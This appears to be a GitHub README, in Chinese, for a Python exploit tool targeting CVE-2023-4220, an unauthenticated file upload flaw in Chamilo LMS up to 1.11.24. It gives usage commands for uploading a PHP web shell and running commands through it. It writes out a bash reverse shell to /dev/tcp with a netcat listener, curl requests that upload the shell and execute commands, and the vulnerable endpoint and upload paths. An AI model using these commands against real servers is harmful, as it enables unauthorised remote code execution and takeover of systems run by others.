SpeatX/ChamiloLMS-CVE-2023-4220

GitHub: SpeatX/ChamiloLMS-CVE-2023-4220

一个针对 Chamilo LMS ≤ 1.11.24 未授权文件上传漏洞 CVE-2023-4220 的 Python 利用工具,提供自动反弹 shell 和手动监听两种模式,支持 webshell 上传、命令执行及代理。

Stars: 0 | Forks: 0

# ChamiloLMS CVE-2023-4220 漏洞利用工具 Python 漏洞利用工具,针对 **CVE-2023-4220**,一个影响 **Chamilo LMS <= 1.11.24** 的未授权任意文件上传漏洞。 该漏洞位于 Chamilo 的 **BigUpload** 组件。在受影响版本中,文件上传处理程序允许上传 PHP 文件而不进行适当的验证。由于上传的文件存储在 Web 可访问的目录中,如果启用了 PHP 执行,可以直接请求上传的 PHP 文件并将其用作 Web shell。 本仓库包含该漏洞利用工具的两个版本: ``` chamilo_cve_2023_4220_auto.py chamilo_cve_2023_4220_oscp.py ``` 两个脚本都会上传 PHP Web shell,验证命令执行,并允许通过 `cmd` GET 参数运行命令。唯一的实际区别在于 `--shell` 的处理方式。 `auto` 版本会启动自身的监听器,触发反弹 shell 并自动切换到交互式会话。 `oscp` 版本触发反弹 shell 载荷,但不会启动监听器。你需要在运行前手动启动你的监听器。 ## 安装说明 克隆本仓库: ``` git clone https://github.com/SpeatX/ChamiloLMS-cve-2023-4220.git cd ChamiloLMS-cve-2023-4220 ``` 安装依赖: ``` python3 -m pip install -r requirements.txt ``` 唯一的外部依赖是 `requests`,因此也可以手动安装: ``` python3 -m pip install requests ``` ## 使用方法 目标地址通过 `-u` 或 `--url` 指定: ``` python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check ``` 两个脚本均提供相同的选项: ``` -u, --url Target base URL --check Check if the BigUpload files directory is reachable --upload Upload the webshell and verify command execution --cmd CMD Execute a single command through the uploaded webshell --shell LHOST LPORT Trigger a reverse shell --filename NAME Use a custom filename for the uploaded PHP file --proxy PROXY Send traffic through a proxy, for example Burp Suite --timeout SECONDS Set the HTTP timeout --verify-tls Enable TLS certificate verification --cleanup Try to remove the uploaded webshell after execution ``` 自动版本还包含: ``` --listen-timeout SEC Time to wait for the reverse shell connection ``` ## 基本示例 检查预期的 BigUpload 路径是否可达: ``` python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check ``` 上传 PHP Web shell 并验证命令执行: ``` python3 chamilo_cve_2023_4220_auto.py -u http://target.com --upload ``` 运行单个命令: ``` python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id ``` 使用自定义文件名: ``` python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd whoami --filename shell.php ``` 通过 Burp Suite 发送流量: ``` python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id --proxy http://127.0.0.1:8080 ``` 以上示例使用了 `auto` 脚本,但同样语法也可用于 `chamilo_cve_2023_4220_oscp.py`。 ## 反弹 Shell 两个脚本均提供 `--shell` 选项,但其行为因使用版本而异。 ### 自动版本 ``` python3 chamilo_cve_2023_4220_auto.py -u http://target.com --shell 10.10.14.3 4444 ``` 此版本会在 `10.10.14.3:4444` 上启动本地监听器,上传 Web shell,触发反弹 shell 并自动打开交互式会话。 使用此版本时,你无需手动运行 `nc`。 ### OSCP 版本 首先手动启动你的监听器: ``` sudo nc -nlvp 4444 ``` 然后在另一个终端中运行漏洞利用工具: ``` python3 chamilo_cve_2023_4220_oscp.py -u http://target.com --shell 10.10.14.3 4444 ``` 此版本仅通过上传的 Web shell 发送反弹 shell 载荷。连接将被你手动启动的监听器接收。 两个脚本触发的反弹 shell 命令等效于: ``` bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1' ``` 确保 `LHOST` 值可从目标访问。在 VPN 环境中,这通常是你隧道接口的地址: ``` ip -brief addr show tun0 ``` ## 漏洞细节 **CVE-2023-4220** 影响 **Chamilo LMS** 版本 **1.11.24** 及以下。 存在漏洞的上传处理器位于: ``` /main/inc/lib/javascript/bigupload/inc/bigUpload.php ``` 漏洞利用工具所利用的操作是: ``` ?action=post-unsupported ``` 上传的文件通常可从以下路径访问: ``` /main/inc/lib/javascript/bigupload/files/ ``` 漏洞利用工具使用 BigUpload 预期的表单字段发送 `multipart/form-data` POST 请求: ``` bigUploadFile ``` 上传的 PHP 载荷是一个小型命令包装器: ``` ``` 命令通过 `cmd` GET 参数传递: ``` http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id ``` 命令输出周围的标记用于提取 HTTP 响应的相关部分。 ## 手动请求 脚本执行的上传操作等效于: ``` curl -i -s -X POST \ -F 'bigUploadFile=@shell.php;filename=shell.php' \ 'http://target.com/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported' ``` 上传成功后,可以通过以下方式测试命令执行: ``` curl 'http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id' ``` ## 注意事项 `--check` 仅验证预期的 BigUpload 文件目录是否可达。结果为阳性并不能保证目标可利用。 完整验证需要上传 PHP 载荷并使用 `--upload` 或 `--cmd` 确认命令执行。 如果上传成功但命令执行失败,可能是在上传目录中禁用了 PHP 执行、目标已打补丁或服务器端规则阻止了请求。 如果希望脚本在执行后尝试删除上传的 PHP 文件,可使用 `--cleanup`。
标签:Chamilo LMS, CISA项目, CVE-2023-4220, OSCP, Python, Webshell, 反向Shell, 无后门, 未授权文件上传, 编程工具, 远程代码执行, 逆向工具